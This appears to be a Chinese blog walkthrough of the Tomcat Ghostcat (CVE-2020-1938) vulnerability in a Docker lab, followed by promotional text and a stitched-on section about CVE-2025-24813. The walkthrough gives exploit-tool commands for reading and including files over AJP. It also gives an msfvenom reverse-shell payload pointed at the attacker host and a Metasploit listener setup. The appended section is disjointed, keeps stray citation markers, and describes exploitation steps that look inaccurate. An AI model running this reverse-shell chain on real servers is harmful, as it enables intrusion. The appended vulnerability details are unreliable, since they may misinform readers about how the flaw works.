【网络安全】Tomcat CVE-2020-1938 漏洞复现和利用过程_漏洞复现

一,漏洞描述

1-1 漏洞原理

Apache Tomcat文件包含漏洞(CNVD-2020-10487/CVE-2020-1938)。该漏洞是由于Tomcat AJP协议存在缺陷而导致,攻击者利用该漏洞可通过构造特定参数,读取服务器webapp下的任意文件。若目标服务器同时存在文件上传功能,攻击者可进一步实现远程代码执行。AJP(Apache JServ Protocol)是定向包协议。因为性能原因,使用二进制格式来传输可读性文本。WEB服务器通过 TCP连接 和 SERVLET容器连接。

1-2 受影响版本

Apache Tomcat 6
Apache Tomcat 7 < 7.0.100
Apache Tomcat 8 < 8.5.53
Apache Tomcat 9 < 9.0.31

二,靶场搭建

靶场:kali2023 192.168.1.160

攻击机器:kali2023 192.168.31.150

2- 1 拉去靶场镜像
docker pull duonghuuphuc/tomcat-8.5.32 

2-2 启动镜像
docker run -d -p 8080:8080 -p 8009:8009 duonghuuphuc/tomcat-8.5.32  

2-3 访问

访问 192.168.31.160:8080 看到此页面说明靶场搭建成功了

三,漏洞复现

首先需要下载漏洞利用工具 ,网址如下(github)https://github.com/sv3nbeast/CVE-2020-1938-Tomact-file_include-file_read/

下载下来放到攻击机上(我的主机 kali2023 192.168.31.150)

名字很长,我改名了,叫CVE-2020-1938

cd 进入到文件里,可以看一下文件内容

接下来利用Tomcat-Root路径下文件读取(CVE-2020-1938)来读取服务器问价内容

注意把最后的红色IP地址换成你自己的靶场IP

python2 ‘Tomcat-ROOT路径下文件读取(CVE-2020-1938).py’ -p 8009 -f /WEB-INF/web.xml 192.168.31.160

python2 'Tomcat-ROOT路径下文件读取(CVE-2020-1938).py' -p 8009 -f /WEB-INF/web.xml 192.168.31.160


结果能成功读取到文件了,证明这里存在文件包含漏洞。

四,漏洞利用

我们如何getshell呢?

想要getshell则网站需要有文件上传的地方,这个靶场没有这个功能,不过我们可以模拟一下这个过程,我们手动复制木马文件到靶场服务器来模拟getshell过程

4-1 生成发现木马文件

注:真实环境中,在攻击器上生成木马,通过漏洞上传过去的

我在这里直接靶机 192.168.31.160上生成,复制到服务器目录中

kali上如下命令生成java木马文件

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.31.150 LPORT=8888 -f raw > aini_shell.txt

4-2 复制文件到服务器

先 docker ps 查看容器CONTAINER ID

然后进行复制

docker cp aini_shell.txt 525a39f3a85e:/usr/local/tomcat/webapps/ROOT/WEB-INF/

没有报错说明上传成功了

4-3 访问上传的木马文件

回到攻击器上

通过之前下载的POC访问一下,发现成功读取到了内容

但是我们目的是getshell,需要让反向shell执行才行

4-4 msf开启监听

先进入到msfconsole

msfconsole

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set lhost 192.168.31.150 ## 攻击器IP
set lport 4444  ## 攻击器需要监听的端口(跟生成反向shell时设置的端口一样)

注:我监听8888端口一直失败,所以我换了个4444端口,并重新生成了连接192.168.31.150:4444端口的木马文件,复制到了靶场服务器上

开启监听成功

4-5 访问反向木马文件

最后一步:攻击主机访问木马文件,并编译执行,反向连接我们攻击主机

python2 'Tomcat-ROOT路径下文件包含(CVE-2020-1938).py' -p 8009 -f /WEB-INF/aini_shell.txt 192.168.31.160

注意:这俩文件作用不一样,'Tomcat-ROOT路径下文件包含…'是用来编译执行服务器代码,执行反向shell用的这个,也就是上面一步,让木马执行反向连接我们电脑

而Tomcat-ROOT路径下文件读取…'单纯的读取文件内容,而不会编译执行

说明服务器上上传的反向木马编译执行了

看看监听的窗口有没有拿到shell

题外话

今天只要你给我的文章点赞,我私藏的网安学习资料一样免费共享给你们,来看看有哪些东西。

网络安全学习路线&学习资源

下面给大家分享一份2025最新版的网络安全学习路线资料,帮助新人小白更系统、更快速的学习黑客技术!
对于从来没有接触过网络安全的同学,我们帮你准备了详细的学习成长路线图&学习规划。可以说是最科学最系统的学习路线,大家跟着这个大的方向学习准没问题。

需要高清完整学习路线图,和全套网络安全技术教程的小伙伴!
↓↓↓ 扫描下方图片即可前往获取↓↓↓
在这里插入图片描述

学习资料电子文档

压箱底的好资料,全面地介绍网络安全的基础理论,包括逆向、八层网络防御、汇编语言、白帽子web安全、密码学、网络安全协议等,将基础理论和主流工具的应用实践紧密结合,有利于读者理解各种主流工具背后的实现机制。

网络安全源码合集+工具包

​​​​​​

视频教程
很多朋友都不喜欢晦涩的文字,我也为大家准备了视频教程,,每个章节都是当前板块的精华浓缩。(全套教程点击领取哈)

​ 优快云大礼包:《黑客&网络安全入门&进阶学习资源包》免费分享

在这里插入图片描述

​​ 因篇幅有限,仅展示部分资料,需要扫描下方图片即可前往获取

在这里插入图片描述

好了就写到这了,大家有任何问题也可以随时私信问我!希望大家不要忘记点赞收藏哦!

特别声明:

此教程为纯技术分享!本文的目的决不是为那些怀有不良动机的人提供及技术支持!也不承担因为技术被滥用所产生的连带责任!本书的目的在于最大限度地唤醒大家对网络安全的重视,并采取相应的安全措施,从而减少由网络安全而带来的经济损失。!!!

### Apache Tomcat CVE-2025-24813 远程代码执行漏洞复现 #### 漏洞概述 Apache Tomcat 的远程代码执行漏洞 (CVE-2025-24813) 存在于特定版本中,当满足某些条件时,攻击者可以利用漏洞实现未授权的恶意代码执行并获取服务器权限。此漏洞的影响范围较广,涉及多个主要版本[^1]。 #### 影响版本 受影响的 Tomcat 版本如下: - `9.0.0.M1` ≤ Tomcat ≤ `9.0.98` - `10.1.0-M1` ≤ Tomcat ≤ `10.1.34` - `11.0.0-M1` ≤ Tomcat ≤ `11.0.2` 这些版本中的默认会话持久化机制存储位置设置可能引入安全隐患[^3]。 #### 漏洞利用条件 要成功触发此漏洞,需满足以下条件: 1. **Servlet 写入功能启用**:Tomcat 应用程序启用了 servlet 文件写入功能(通常默认禁用)。 2. **默认会话管理器配置**:使用了 Tomcat 默认的会话持久化机制及其默认存储路径。 3. **依赖库存在反序列化漏洞**:如果应用环境中使用的第三方库存在可被利用的反序列化链,则可能导致进一步的安全威胁。 上述条件共同作用下,攻击者可以通过精心构造的数据包,在目标系统的指定目录下创建文件或执行命令。 #### 环境准备 为了验证漏洞是否存在以及其具体表现形式,需要搭建测试环境。以下是详细的环境配置说明: ##### 软件安装与部署 1. 下载并解压对应版本的 Apache Tomcat 安装包至本地机器上。 - 受影响版本列表见前文描述。 2. 修改 `conf/web.xml` 配置文件以允许 Servlet 功能扩展。例如,添加支持动态资源加载的相关参数: ```xml <init-param> <param-name>listings</param-name> <param-value>true</param-value> </init-param> ``` 3. 启动服务端口监听,默认为 8080 或其他自定义端口号。 ##### 测试工具选用 推荐采用 Burp Suite Pro 或 Metasploit Framework 对目标主机发起模拟攻击请求;也可以编写简单的 Python/Java 脚本来完成基本的功能检测。 #### 实际操作流程 按照以下顺序依次尝试重现问题现象: 1. 构造 HTTP 请求数据包发送给目标站点 `/manager/html/upload?file=` 接口地址; 2. 如果返回状态码正常且无错误提示信息则表明上传过程顺利完成; 3. 查看工作区目录结构变化情况确认是否有新生成的目标文件对象位于预期路径之下 (`apache-tomcat-\work\Catalina\localhost\ROOT`) [^2]. 注意:以上仅为理论分析指导用途,请勿非法入侵任何网络资产! --- ###
评论
成就一亿技术人!
拼手气红包6.0元
还能输入1000个字符
 
红包 添加红包
表情包 插入表情
 条评论被折叠 查看
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值